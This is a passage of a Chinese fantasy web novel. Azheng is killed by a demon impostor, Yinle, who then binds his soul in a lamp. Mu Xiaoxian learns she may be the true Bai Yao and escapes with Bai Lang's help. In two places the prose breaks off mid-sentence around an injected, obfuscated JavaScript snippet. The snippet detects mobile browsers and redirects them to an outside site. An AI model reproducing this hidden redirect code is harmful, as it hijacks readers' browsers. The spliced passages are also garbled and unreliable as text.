天色愈来愈沉,园中幽幽灯火,在风中摇曳,灯火映在水面上,泛着凉薄的冷意。阿筝望着一池湖水出神,思及自己现在的处境,心中不免泛起悲凉之意。他裹紧了衣袍,仍旧像置于湖水之中浑身冰冷。 良久,身后传来一丝声响,阿筝转头借着零星亮光,见一位身姿挺拔、穿着体面的男子站在他身后,目光灼灼地望着他,锋利的眉眼带着一丝深究。 阿筝眼神微动,两人虽一言未发,但几个眼神推拉,便明白了对方的身份。只是阿筝不解为何已经离开的天庭使者,现在出现在这里。 夜风微动,扬起那人散落的须发,他缓缓开口打破了沉默:“先生,我在这附近落下了一只纸鹤,请问你看见了吗?” 阿筝瞥开目光,语气平静道:“没看见。”继而与他错身而过,匆匆离开了湖畔。 那人伫立在灯火阑珊处,望着他的背影渐行渐远。 虽然只有一个照面,阿筝却仿佛抓住了和过去万分之一的联系,他漫无目的地在花园内走了一大圈,夜色深沉时才恍恍惚惚回到偏院。呼啸大风从拱门灌入院子,院内又冷又黑。他走进院子,忽然脚步一顿,似有感应一般抬起头,望向院子里藏在树影下的石桌。 殷乐拢着一袭深色霓裳端坐在桌边,隐在夜色深处看着他,眼神说不出的冰冷。 “殷乐。” 殷乐唇角上扬,眼中却感觉不到丝毫欣喜:“连殿下都不会叫了吗?” 阿筝单薄的身影在寒风中未动,语气冷沉道:“你来做什么?我听了你的话,没有在天庭使者面前暴露你的身份,你还想怎样?” 殷乐起身向他走来,靠得近了,捧起他的脸,晦涩的目光从他的唇瓣一路流连,像一只钩子探进他的眼睛。与他交汇的眸中泛着灵动的水波,轻声道:“苏苏,今夜我可以留在这里吗?” 阿筝大骇,拍开她的手,怔然退后一步:“你疯了?” 殷乐眼神微动,如白玉一般的藕臂圈住他的脖子,迫使他不得不低下头,呼吸之间全然是她身上的香气。 鲜红的唇贴在他的颈边呢喃:“有什么不可以?” 阿筝拉开她的手,挪开目光:“你自重。” 殷乐冷笑一声:“苏苏,你我皆身不由已,难道就不能遵从内心一次?你敢说这些年,没有动过心?” 阿筝倒吸一口气,矢口否认道:“我没有。我看着瑶儿长大,不曾对她有男女之情,这些年也从未对你动心。” 殷乐眼中划过一丝阴鹜,唇角渐渐落下,紧紧盯着他的眼睛,似乎想从他躲闪的神情中窥视他究竟说的是真是假。 阿筝目色低垂,抬眸望向她时眼中未染分毫的犹豫,尽是果断坚决的抵触之意,唇角抿成了一条僵直的线。 殷乐面色不改,但呼吸急促了几分,抓着他的衣袖问:“真的吗?我不信,你一定是在骗我。” 阿筝漠然望向她:“我怎么可能会对杀害瑶儿的凶手动心。” 他的话如一柄利刃刺入殷乐的胸口,她的眼神黯了黯,脸上浮现一丝苍白,嘴角却不自然地扬起:“苏苏,我给过你机会了。你为什么一直要与我作对呢?” 殷乐眯了眯眼,突然大声命令道:“来人!去将天庭使者请过来,务必让他在青丘多待几日,让我们尽地主之谊。” 阿筝眼神一变,不知她为何突然发难,难道她现在想对天庭使者下手? “你想做什么?那可是天庭使者,你别轻举妄动。” 殷乐眉头紧锁,眼中闪过怒意,几道人影从院子上空掠过。 阿筝的目光追随着他们远去,焦急地问:“你要对他做什么?” 殷乐冷哼一声,却道:“你的点心,做的不错。” 阿筝目光流转,拿捏不准这话什么意思。 殷乐见他不语,挑了下眉:“你在点心中加了紫乌?” “你说什么?”听到这种陌生又熟悉的食材,阿筝微微一顿。紫乌是生长在华胥领地的一种草药,根茎的汁液呈深红色,味酸清香,能够开胃助消化,是族中做吃食常用的食材。 殷乐深深望着他的眼睛,嘴角缓缓扯出一个意味不明的笑容:“在宴席上,有位神官尝出了紫乌的味道,对点心赞不绝口,说要见一见做点心的师傅。” “这位神官游历四方,说自己很多年前曾在一处村庄歇脚时尝过紫乌做的点心,就是这个颜色味道。后来他再寻去时,这座村庄已经消失了。你说,他去的是哪里?” 阿筝呼吸急促起来:“不可能。我没有在点心里放紫乌......” 若是用紫乌的汁液参入糯米面中,赶制的面皮色泽鲜亮,带着紫乌淡淡的清香。但紫乌采摘后可服用的时间极短,在离开华胥族后,他从未再见过这种草药。他并未在墨樱中放入紫乌,而是选用了宫里常见的海棠花。 殷乐唇边的笑意愈渐冷却:“这里除了你还有谁会用紫乌?” 阿筝依然不敢相信:“真的是紫乌?他会不会是尝错了?紫乌只能生长于华胥的土地,不可能出现在这里。” 殷乐望着他,冷峻的眼神却让阿筝心里产生了一股寒意。 阿筝看出了些门道:“你是在怀疑我?你怀疑我想通过那盘点心提醒神官?你怕我会向他们戳穿你?” “紫乌作何解释?我让人查了,用料的残渣中确实有一味紫乌。”殷乐垂下眼睫,沉闷的声音传来:“苏苏,你知道在大殿上我听到神官的话,是什么感受吗?我那么相信你,甚至将我的秘密告诉了你。只要你能一直陪着我,陪我在这陌生的、空荡荡的长乐宫,我可以给你最大限度的容忍和自由。但是你为什么要挑战我?” 阿筝身体一顿,仿佛被殷乐的情绪感染,否认道:“不是的,我用的是宫里最常用的海棠花,你可以去后厨问,我的用料都是后厨提供的。我绝没有背叛你。” “那这封信呢?”殷乐扔给他一只蹂躏后的纸鹤,那是阿筝压在枕下的东西。 殷乐质问道:“适才你是不是去见了那位神官?” ——夜半湖堤,求见故人,有要事相告。 那封信他明明隐去了字迹......为何...... 阿筝抬眸望向殷乐,渐渐平静下来。殷乐已先入为主,事到如今,就算他否认又有何用?他怅然道:“不论你信不信,我并没有见天庭使者的打算,我以为他已经离开青丘。就算我对魔族有诸多不满,也断不会在这时让青丘失势。” 殷乐眼中闪过一丝刺痛,喃喃道:“是。你纵然对我不满,但不会做对不起青丘的事。” 她不经意间流露出的委屈,让阿筝声音轻了几分:“我......不是这个意思。” 殷乐愤愤地望着他:“你可知怜漪一直让我留心你,我都没把他的话放在心上。原来他说的没错,非我族类其心必异,你果然与我不能同心。” 一听到苏怜漪,阿筝表情也冷漠起来:“又是苏怜漪。他凭什么对你指手画脚?你从头到尾都没有相信过我,你只相信对你有利的事情,而我一直是你意料之外的。” “不是的,苏苏。我相信过你,是你辜负了我的信任!”殷乐急切地说道。 阿筝看着她,怀着心中最后一丝希冀问:“如果我要见一见这位天庭使者,你会让我见他吗?” 殷乐沉默不语。 “是我太天真了。”阿筝冷然道:“你口口声声说我辜负了你的信任,可你什么时候相信过我?你不愿让我见天庭使者,宴会时让我待在膳房,现在还进入我房内搜查,这就是你说的信任?你的信任不过如此。” 殷乐亦是毫不退让:“不是的,苏苏,我真的想相信你,不然也不会来问你。你就那么想见他吗?你见他能做什么?难道你还想复兴华胥氏吗?世上已经没有华胥氏了。” 阿筝神情一顿,眼中露出挣扎之色。 “我不会做妨碍你们的事情,随你所想。”他一拂袖,匆匆向屋内走去。 殷乐眼中流露出深切的痛意,拦在阿筝的面前,拉住他的手:“你就这么不在意我怎么想?” 两人争执之间,殷乐突然倒吸一口气,攥紧了阿筝的手腕,拧紧眉头:“你身上的气息为什么这么弱?”紫色的魔气顺势而上缠绕他的手臂,阿筝赶紧放出仙力压制,挣脱了殷乐的拉扯,与她过起招来。 几招之后,阿筝明显处于弱势。殷乐脸上的震惊越来越浓,一掌过后收回了手。 殷乐面色深沉地凝望着他,周身气息渐渐混乱起来,低沉的声音带着一股压迫感:“你的灵丹呢?” 风声鹤唳,枝摇叶颤发出沙沙声,一时不绝于耳。昏沉月色下,婆娑树影不断变换,仿佛世间万象不停轮转。 两人僵持在深沉的夜色中,宽大的衣袖在风中翻飞。 阿筝淡然道:“什么灵丹?” 殷乐脸上的神情再也绷不住,逼到阿筝眼前,揪住他的领口:“我问你灵丹去哪儿了!” 阿筝的目光被迫与殷乐相触,神色平常地对面前狠戾的女人道:“我的灵丹如何处置,是我自己的事。” 殷乐紧紧盯着他,似乎想在他脸上分辨出什么。 此时,一声轻佻的笑声打断了她的思绪,“我说的没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137770|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错吧。他偷偷跑出宫,可不止是去找人了。”青衣广袖在夜空中肆意飘扬,苏怜漪立在屋檐高处睥睨院中发生的一切,语气中带着一丝嫉妒:“他把灵丹给谁了呢?” 虽然他们不知道阿筝出宫去见了什么人,但总归不会是魔族。一颗华胥氏上万年的灵丹,蕴藏着醇厚的仙力,阿筝性情温和,未必能将这股力量发挥出来,但落到别人手中就不一定了。 殷乐眯了眯眼睛,眼底暗潮涌动:“他是谁,他在哪里。” 阿筝冷言道:“我不会说的。”不能让他们找到晏离,那是他最后的希望。 殷乐陡然暴起,一掌劈来,于黑暗中划过一道如闪电般的轨迹。 没有了灵丹,阿筝的速度明显慢一拍,避闪不及被横空击中。他双目圆瞪,胸腔一震,一口鲜血喷出,溅在殷乐暗黑色的长袍上。身影犹如一片落叶,踉跄几步,竟是站也站不稳了。 魔气喷涌而出,如黑雾一般笼罩着阿筝的身体,将他高高举起。寒冷的夜风从他的领口灌入,将他的袖子吹得胡乱飞舞。阿筝双手垂在身侧,没有挣扎,血迹斑斑的脸上,双眼漠然地望着前方无尽夜色,好像此时陷入危险的并非是自己。 殷乐见他这副无所谓的模样,怒意更甚,手上渐渐使力,指节泛白,阿筝颈上立刻浮现一圈红痕。她强硬道:“我再问一遍,他是谁?他在哪里!” 阿筝的眼眸慢慢挪到殷乐的脸上,那是瑶儿的面容,那双好看的眉眼,在生命之初望向他时是什么样子的?他忽然有些记不清了。 那张娇俏可人的脸庞,原本应是活泼明朗的,此时却透着骇人的神情。 “我会找到他的!我会让他生不如死。” 阿筝忽然猛烈地咳嗽起来:“咳咳。” 他空洞地望着天,艰难地喘息着,眼前熟悉的景物变得模糊起来,身体也越来越重。 为什么会这么痛苦? 殷乐说的没错,他是动心了,他在知道她的身世后对她产生了恻隐之心。 他无法对殷乐决绝,所以才会如此的煎熬。 华胥氏早就该亡了,他不该留在世上。他无法拯救华胥族,又将痛苦带来了青丘。 如果没有他这一切是不是就不会发生了? 阿筝五脏六腑受了重创,胸口涌上一股热意,污血顺着嘴角流下,鲜红的嘴唇嚅动: “杀了我吧。 “你不是早就想杀我吗?” 殷乐瞳孔一缩,脸上划过一丝惊惧之色,恨声道:“我没有!” 远处,苏怜漪静默在夜色中,神情冷漠地望着这一切,眼神微微透着些不耐烦。 殷乐卸了三分力,依旧钳着阿筝的脖子:“苏苏,我不想伤害你。是你,是你想要背叛我。” “我们本来就不是一路人,何来背叛?我不过是做了我该做的事。”阿筝喃喃道:“你也要做你该做的事了。” “什么?” 阿筝缓缓抬起两只干瘦的手,眉间紧皱,一股淡青色仙力顺着魔气向下蔓延,爬上殷乐的手臂。殷乐大恐,想要挣脱,奈何这股仙力压着她的手指,她无法挪动分毫,甚至攥得越来越紧。 “你想做什么......” “停下,快停下!”殷乐神情变得扭曲,红着眼睛冲他嘶吼道。 “你就这么想死吗?我偏不让!” 阿筝眼中因为窒息起了一层迷离的水雾,望着殷乐的眼眸带着一丝惋惜与同情。 殷乐倒吸一口气,更加疯狂地扭动起来,想要抽回手,声嘶力竭地吼道:“放手!放手! “华胥筝——” 如同一根琴弦猝然断裂,在意识最后清晰的时刻,他终于听到了他原本的名字。他混着血污的嘴唇微微嚅动,艰难地想要回应,可是不能了。 殷乐双目空洞地瘫坐在地上,小心翼翼地搂着阿筝的身体,她的手轻轻抚着阿筝苍白的脸颊,在他耳边状似疯狂地说着:“不准死,苏苏,我不准你死。快起来,听到了吗?快点起来! “你将灵丹给谁了,我一定会找出来,我不放过他,你听到了吗?不想让他死就快点起来! “快起来,我不追究你灵丹去哪儿了......” 她不想杀他,只要他低一下头,她就会原谅他,可是为什么会变成这样? 偌大的长乐宫冷清又空寂,穿堂风贯入偏院的石拱门,越过园子里盛放的花草,拂过湖中平静的水面,悠扬远去,落入群山之中。 殷乐无助的低泣渐渐被无情的黑夜吞没,直至她哑得不能发声,也未能将阿筝唤醒。 苏怜漪自屋顶飘下来,轻轻落在殷乐身侧,不在意地睥了一眼阿筝逐渐冰冷的身体,压下眼中的得意,柔声道:“殿下,天晚了,该回房休息了。” 107. 第 107 章 往事如过眼云烟,惨淡又无力回转。 那一夜后,殷乐不知从哪里找来了燃魂灯,困住了阿筝的魂魄。 华胥族的法宝最终用在了世上最后一位华胥氏身上。 微弱的火光映在薄纱帘帐上,殷乐轻轻俯身,美艳的面容带着凉薄的笑意:“你不是想死吗?我偏要让你活。你只能看着我,永远地,和我在一起。” 阿筝求死不能,渐渐将自己封闭起来。 殷乐将他放在偏殿,将房间层层包围起来,只为保护那簇弱小的火苗。 没有回应也无所谓。 只要她能见到他。 不过也出现过意外。 很多年后的某天,苏怜漪突然闯入,对着燃魂灯冷嘲热讽,眼中有说不出的嫉恨。 阿筝觉得他十分可怜。 时间虚无缥缈,仿佛没有边界。漫长的等待与停滞过后,画面流转到了现今。 夜风依旧在窗外呼啸,嘈杂的脚步声渐渐近了,远远飘过忽明忽暗的光点。 慕小闲眨了眨眼睛,思绪还沉浸在这个故事中尚未抽离,心中像是沾湿了的棉花一样沉重无力。 她隐约感觉这个故事与她有着千丝万缕的联系,自她升天之后,这种联系越来越明显,直到今天,被一股脑抛在她眼前。 如今的青丘之主居然不是真的,她和苏怜漪之间的关系比慕小闲想象的还要复杂。或许从慕小闲踏入青丘的领土开始,她与苏怜漪就在做戏,不论是高贵温婉的青丘之主,还是善解人意的乐师,亦或是他们之间的纠葛,恐怕全都是假的。 她们想试探慕小闲的真实身份与企图,察觉对他们没有用处,便带离长乐宫灭口。她以为自己从天庭逃脱,却不料才出虎穴又入狼窝。 可是为什么阿筝要对她说这些? 是因为晏离吗? 慕小闲沉默着,心跳越发急促。她是来找囚仙印的解除方法的,不是来听豪门恩怨、爱恨情仇的,青丘、天庭和魔族的恩怨关她什么事? “兄台,我听了你的故事很受触动,我能理解你的悲愤,也知道这些年你过得很不容易,但我只是一个刚上天不久的小仙,实在无能为力,你不如告诉我现在那位......是白瑶也好是魔族也好,她有没有弱点?” 火焰变得微弱,犹如一缕青烟快要熄灭。慕小闲心脏怦怦直跳,赶紧上前用双手护住火苗,轻声说:“兄台你还好吗?” 阿筝奄奄一息的声音传来:“瑶儿......” 慕小闲心里一动:“我叫慕小闲,你是不是认错人了?” 阿筝顿了一下:“竟然一点都不记得了。你对这个故事有没有......有没有熟悉的感觉?” 慕小闲懵懂地摇摇头:“我不明白你的意思。” 火苗幽幽,阿筝突然斩钉截铁道:“你才是真正的白瑶!” 慕小闲的呼吸猝然凝滞,脑海中轰的一声炸成一片空白,等她回神时自己已经在房内匆匆踱步了三圈。 她转过身对着那抹黯淡的火苗,张了张嘴,想嘲讽一句“你知道自己在说什么吗”,但不知为何浑身发虚,转身踉跄一步,差点跌倒在地,话到嘴边根本说不出口。 太荒谬了。 这比她突然上天还匪夷所思。 她借着一点微弱的光线望向桌上铜镜中那张熟悉的脸,那张脸此时皱紧了眉头,满目忧虑和震惊。怎么可能她才是白瑶? “不可能不可能。”慕小闲向外挪了一步...... “瑶儿!”火焰一窜,叫住了她。 她回过头怯怯地望了火焰一眼,喃喃:“我不是白瑶。” 火光一顿,渐渐弱了下去,就像一个失意的孩子。 “你......你没事吧?这件事会不会搞错了?我叫慕小闲,我是从凡间来的。” 阿筝坚定道:“不会错。当年你在天火中魂飞魄散功力尽失,我在天界找不到你的踪迹,于是将自己的灵丹藏在山中,把地图留给了晏离,希望有朝一日你回来能派上用场。你有我的灵丹,一定是晏离告诉你的。他不会认错人。” 慕小闲陷入沉默,身上涌上一波寒意,难道晏离一直都知道这件事?原来是这样,他是因为白瑶所以才帮她的。自她升天之后,他做的所有的一切都是因为白瑶。 “是晏离让你来的?”阿筝问。 慕小闲回神,发现自己忘了最重要的事情。“晏离受囚仙印折磨,现在昏迷不醒,我原本是来长乐宫找解除方法的。” “囚仙印......囚仙印......是了,他还带着那东西,这些年我曾在殷乐的口中听到......”阿筝的声音突然停顿。 慕小闲问道:“怎么了?” 火苗颤动,惊恐道:“殷乐来了。” 慕小闲一回头,就见一婀娜的身影映照在窗棂上,携着一缕低沉的气息不疾不徐地步入房内。她长长的眼睫一抬,泛着寒意的幽黑眼眸牢牢锁在慕小闲身上。 慕小闲不由地后退半步。 白瑶,不,应该是殷乐,身着宽松的黑底红纹睡袍,长发用一根墨玉簪随意挽起,巴掌大的脸上一双又灵又媚的眼睛像能摄人魂魄,眼角还带着一丝惺忪的倦意。这样得天独厚的面容,会是她慕小闲本来的长相吗? 两人在狭小的屋内互相打量着对方,气氛说不上来的诡异。 半晌,殷乐沉声道:“慕姑娘,这不是你该来的地方。” 这话煞是有趣,她要是有的选,还能出现在这里? 慕小闲肩上反倒一松:“青丘之主说笑,宫里这么大,我哪儿知道哪里能去,哪里不能去。”她念“青丘之主”时,有些烫嘴,囫囵过去,显得有几分滑稽。 殷乐的眼睛微微眯了一下,目光紧紧盯着她,幽幽说道:“慕姑娘上次不告而别,叫人好找啊。” 慕小闲也不退让,似含着笑容,笑意却未达眼底:“你还别说,我都不知道自己这么抢手。追我的人太多,见我在长乐宫休息的时间太久,这不就着急了嘛。” 殷乐缓步走到窗边,越过慕小闲扫了一眼她身后的案台,看似不经意地一瞥,却在纤纤玉指搭上窗边的绿植后“啪”地折断了一枝。 慕小闲随着那一声细微的动静心里一颤,不明白殷乐究竟想做什么?若表明是敌人,大不了打一场,这么旁敲侧击委实难受。她回头看了燃魂灯一眼,微微蹙起眉,眼中流露出一丝犹豫。 她的动作落在殷乐眼中,殷乐的目光陡然一变,像鞭子一般冷厉地向慕小闲扫来。慕小闲下意识往燃魂灯前一挡,殷乐的嘴角立刻沉了下去,抬了抬眉,冷声道:“过来,离他远一点。” 慕小闲没动。 殷乐垂下的手指从窗棂上划过,发出刺耳的摩擦声,突然指尖一亮,抬手向慕小闲的脸袭来。 这什么?九阴白骨爪? 慕小闲被迫战术后仰,脚步在燃魂灯四周游走,但始终没有离开。 殷乐眼中露出焦躁之意,无所顾忌地朝慕小闲出招,释放的仙力将破旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137771|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的窗户掀开,房内的气流陡然大增,燃魂灯的火苗在气流冲撞下几乎快要消散。 慕小闲倒退三步,殷乐顺势挤入她与燃魂灯之间,飞快地将周围的帘帐拉起来,将弱小的火苗护住。她俯下身,口中振振有词:“苏苏,别怕。苏苏,不会有事的。” 慕小闲看得莫名其妙。 殷乐缓缓立起来,再一抬眼,眼神愈加幽暗森冷,周身气息已然与刚才不同,连散落的发丝都带着尖锐的敌意。 殷乐压着声线道:“你身上,为何会有苏苏的气息?” 慕小闲心里猛地一跳,她现在用的仙力来自阿筝的灵丹!殷乐若是知道阿筝的灵丹在她体内,怕是要发疯。 见慕小闲没有说话,殷乐的目光越发深沉,她向慕小闲走近了一步,勾起鲜红的唇角,声音柔和了几分,蛊惑道:“慕姑娘,为什么你身上有他的气息?你们是什么关系?” 慕小闲不吃这一套,眨眨眼,神色故作坦然:“青丘之主怕是认错了,我身上怎么可能会有别人的气息。” 殷乐不信,抬手向慕小闲袭来,招数又快又疯,不容人喘息一般逼得慕小闲连连后退。 招数就在眼前,慕小闲想要全身而退已经不可能,房内空间狭小,两人对峙间屋内的摆设陷入一片狼藉。殷乐下意识想要远离燃魂灯,慕小闲却觉得将阿筝留在长乐宫不是好事,想方设法欲将燃魂灯拿出来。 慕小闲每每靠近一分,殷乐就更加狂躁地进攻。慕小闲虽然有阿筝的灵丹,但修炼远远不及殷乐,又被燃魂灯分神,躲闪之间险些被打伤。 殷乐敢狸猫换太子,实力不容小觑,和慕小闲一个刚升天没多久的小仙近身缠斗,一时还分不出胜负,自然察觉不对。她试探了几招,眉头皱得越来越紧,终于在黑夜中爆发一声厉喝:“你身上有他的灵丹!” 紫色的魔气随之倾泻而出,在周遭弥漫,整间屋子如同被浓烟包裹。 “轰”的一声,强大的气流将房顶掀开,土木瞬间炸裂,慕小闲随之跃出屋外。 崩裂的木屑擦过她的脸颊,留下一条血痕。又一声轰鸣,半空中慕小闲身体一歪,巨大的冲击落在她的肩上,好像要将她撕裂。 她被推开数十米,在空中稳住身形,左侧的手臂无力地垂了下来,好像是脱臼了。 若说之前殷乐对她有莫名其妙的敌意,那么现在她便是杀疯了眼,将慕小闲彻底视作了仇人。慕小闲还没适应角色将她当做仇人,反倒被她抢了先。这叫什么事儿? 夜色深沉,云层遮蔽了月光,偏院一片狼藉。烟尘散去,破败的瓦砾之间缓缓走出一个高傲的人影,声音冰凉如水:“你为什么有他的灵丹?是谁给你的?” 地面上,侍卫将院子团团围住,警觉地望着慕小闲,不敢轻举妄动。人群之中,苏怜漪目光沉沉地望着她,看不清究竟是何神情,总归不会太好看。 这样不利的情形,饶是慕小闲心如擂鼓,表面还是淡然处之,摆起一副玩世不恭的样子,挑了挑眉:“哟,青丘之主怎么会是这种颜色的仙力?” 殷乐眼中划过杀意:“你到底是谁?” 慕小闲用余光迅速瞥了屋内的燃魂灯一眼,刚才的气流并没有伤及阿筝所在的地方,看来殷乐对他还有情意,一时不会拿他怎样。这次想将燃魂灯带出长乐宫怕是难了,她得先保护好自己,晏离还在等她回去。 慕小闲看着虚空中与暗夜融为一体的殷乐陷入深思,如果阿筝刚才说的都是真的,殷乐似乎还不知道她的真实身份。 108. 第 108 章 “青丘之主贵人多忘事,我是慕小闲啊。”慕小闲噙着笑答道。 殷乐眼中的愠色更浓:“看来你是不见棺材不掉泪了。”话音未落,一道紫色的魔气破空而出,仿佛点墨入水,于空气中如朵朵繁花接连盛开,眨眼间涌至慕小闲的跟前。 慕小闲立刻提身而起,魔气却如一道屏障拦住了她的去路。随着她的移动,魔气迅速纠缠而上,不一会儿她就感到精疲力竭。 不妙。 若是与魔气空耗,她还没和殷乐正面交手便输了。 “慕姑娘。还不打算说实话吗?”殷乐遥遥问道。 慕小闲眯了眯眼,心道殷乐不敢正面出手,只是放出魔气与她纠缠,是否对她还有所顾忌?若殷乐不知道她有可能是白瑶,还将她当做是华尧上神的侍女,或许以为她的出现与天庭有关。 本想向“白瑶”求得囚仙印的解除方法,没想到把自己搭上了,能不能逃出长乐宫都难说。 慕小闲一挥袖,匆匆打散了冲她而来的魔气,凝眉沉思片刻,忽而眸光一动。她长吁一口气,故作慌张地与魔气周旋,像是被打乱了阵脚,突然向地面打出几掌。而收手之后,飞快向烟尘弥漫之处坠落。 ——轰轰 严阵以待的侍卫之中,尘土飞扬,夜间本就视野昏暗,此时更是难以分辨。 侍卫的银枪将此地团团围住,屏息凝神之间,未等大家反应过来,烟尘中突然钻出一个人影......不,是两个,慕小闲蓦地突出重围,将苏怜漪挟持在身前,一跃而上回到半空中,冲殷乐挑了挑眉。 苏怜漪不会任她摆布,眯起那双桃花眼露出危险的神色,轻笑道:“慕姑娘这时候还能想起我,真是苏某的荣幸。”他话音一转:“不过,你若是想用我威胁青丘之主,那便是想多了。我只是一个乐师,对她而言无足轻重,你逃不掉的。” 苏怜漪的声音温润中带着一丝阴冷,落在慕小闲的耳中觉得虚伪又刺耳。她在阿筝的描述中见过苏怜漪在背后玩弄的丑恶手段,加之先前他的屡屡追杀,此时看见他便觉得反胃。 慕小闲冷哼一声,目光森冷地睨了他一眼:“你确实不配。” 苏怜漪喉头一哽,神情露出些许不悦。 慕小闲在他耳边道:“我看你不爽,想折磨你,仅此而已。”她知道苏怜漪身上有伤,故意往他伤口处重重摁了几下,顿时他的衣衫上浸染鲜红的血色,脸色变得惨白。 底下的侍卫大惊,以为她光是在苏先生身上随意摸了几下,苏先生便受了内伤。 苏怜漪气息渐弱,嘴唇发白:“呵,没想到慕姑娘也是心狠手辣之人。” 慕小闲嗤笑一声:“你没想到的事可多了去了。” 殷乐不远处看着两人暗中较劲,目光带着深究:“慕姑娘,你想对苏先生做什么?” 慕小闲转眸深沉地望向殷乐,故意扬声道:“苏先生生得面若桃花,为人谦逊和善,我早在长乐宫时便喜欢得紧。君子成人之美,青丘之主将他送给我可好?” 现在是什么场合?她居然还能当着一众侍卫向青丘之主挑衅?话里话外,明褒暗讽。明明已经识破了苏怜漪的伪装,却还要奉承一番,又暗踩了他的身份,仿佛他只是一个身份低微、任人摆布的侍人。 他们想玩虚的,慕小闲便虚上加虚。虚虚实实,实实虚虚,她的真实身份与意图便难以揣测。 一时间殷乐和苏怜漪两人的表情都很不好看。 殷乐带着怒意拍下一掌,魔气猝然迸发,阵势形如虎啸。慕小闲却不慌,她挟持苏怜漪挡在自己身前,将他当做一道挡箭牌,赌的就是殷乐现在不敢杀了苏怜漪。 滔天的魔气扑面而来,她的长发在身后飘扬,攻击近在眼前,却在触及苏怜漪之前轰然消散。她随着向两侧急速化开的气流顺势向后退去,微微勾起唇角,讽刺道:“苏怜漪,看来你还有点用处。” 碍于带着苏怜漪这个累赘,慕小闲移动的速度减缓,虽然一时躲开了殷乐的攻击,也无法突破当前的困局。啧,看苏怜漪的目光又多了几分嫌弃。 殷乐从容地理了理凌乱的袖口:“慕姑娘,这是黔驴技穷了吗?你没有胜算的,不要浪费时间了。” 被说中了,慕小闲眼角一跳。 在这种僵局中想要逃脱,简直难如登天。不过登天对她来说,似乎也不是那么难...... 就在她思索时,突然察觉有一束尖锐的目光落在她身上,她悄悄用余光朝那个方向打量一番,只见几名身着铠甲、带着头盔的侍卫,正举着手中的兵器对准她,看不出面容。 谁会用这样犀利的眼神看她? 这时候出现的人,难免有一种螳螂捕蝉黄雀在后的感觉。慕小闲想不出,甚至还有点毛骨悚然。如果是针对殷乐与苏怜漪的人,不会对她这么感兴趣,这人十之八九是在观察她。 观察她,说明她是有价值的。 慕小闲心跳飞快,目光虽然直视着殷乐,却失了焦距,就见殷乐挑起嘴角:“慕姑娘又在想什么?” 不如赌一把? 慕小闲呵呵一笑:“想揣测我的心思,你还需要修炼啊。”她手中微微用力,苏怜漪顿时伸长了脖颈,面露痛苦之色。 殷乐眼神复杂地望向苏怜漪,目光又重新锁在慕小闲身上,神情不再淡定如初,眉间染上了一丝阴鹜:“慕姑娘,你以为你杀了苏先生,就能逃出这里?” 慕小闲轻笑:“我没打算就这么杀了他,他欠我的可不只是一条命。”说罢,慕小闲猛然将苏怜漪推出。苏怜漪在空中踉跄几步,向下坠去,殷乐一惊,挽手将他捞回身侧。 苏怜漪伏在殷乐的肩头,脸色苍白,已经昏迷不醒。 一阵狂风在两人之间凭空而起,风速极快,逐渐扩大形成漩涡,风刃落在身上如同刀割。 殷乐扶着苏怜漪连连向后退去。 等风消散,慕小闲已凭空消失。 殷乐望着空无一物的天际拧紧了眉,眼底的冷凝让人如坠冰窟,她阴戾地向下扫视一周,厉声道:“都给我去找!一定要把她抓回来!” 侍卫们这才慌乱动起来。 慕小闲跟着一个身着铠甲的高大身影,被迅速带离了人群。这位兄台对逃跑路径驾轻就熟,三两下就带着她离开了长乐宫,期间还不忘去膳房给她顺了一袋点心...... 讨好的意味过于明显,倒让慕小闲有些受宠若惊。 莫非她在长乐宫时,有侍卫暗恋她? 一路奔入群山之中,天刚蒙蒙亮,鸟雀已欢腾起来。 侍卫带着慕小闲停在一处小溪旁,在她困惑的眼神中摘下头盔,一头乌发从头盔中散落,在晨曦下发出耀眼的光辉。肤白若雪,眉宇轩昂,眼睛纯净中带着一丝狡黠。 美男见得多了,自然能看出一些门道。这位兄台身上贵气、英气、煞气并存,与那殷乐的面容有三分相似。不消说,一定就是那个未曾谋面的白琅。 对,就是白瑶那个小老弟。 慕小闲一时有些紧张,不知道该用什么身份面对这样一个人。在阿筝的回忆中,白琅的存在感并不强。他的母上永昭殿下对他疏于关爱,姐姐白瑶常年在外,他虽然是养尊处优的小公子,但与其他人总归是疏离的。 在殷乐回宫后,他出现的次数便更少,也不知这些年是如何度过的。 他与慕小闲素未谋面,没有理由救她出宫。除非......他知道殷乐不是白瑶。 白琅随手扔下头盔,一双灵动的眼睛打量着慕小闲,脸上的笑意越来越明显,终于向她扑来:“姐姐!” 慕小闲一个闪身避开他:“你站远点!” 白琅像是受了天大的委屈:“姐姐,你不记得我了吗。我是琅儿啊。” 慕小闲拧眉:“我连我自己都不记得,怎么可能记得你?” 白琅眼中划过一丝痛意,脸上却扬起人畜无害的笑容:“姐姐,有苏先生都告诉你了吧。你是怎么想的?有什么打算?” 慕小闲还没消化完昨夜听到的故事,眼神躲躲闪闪,推脱道:“这都是你们说的,我可还没认同自己是白瑶。”

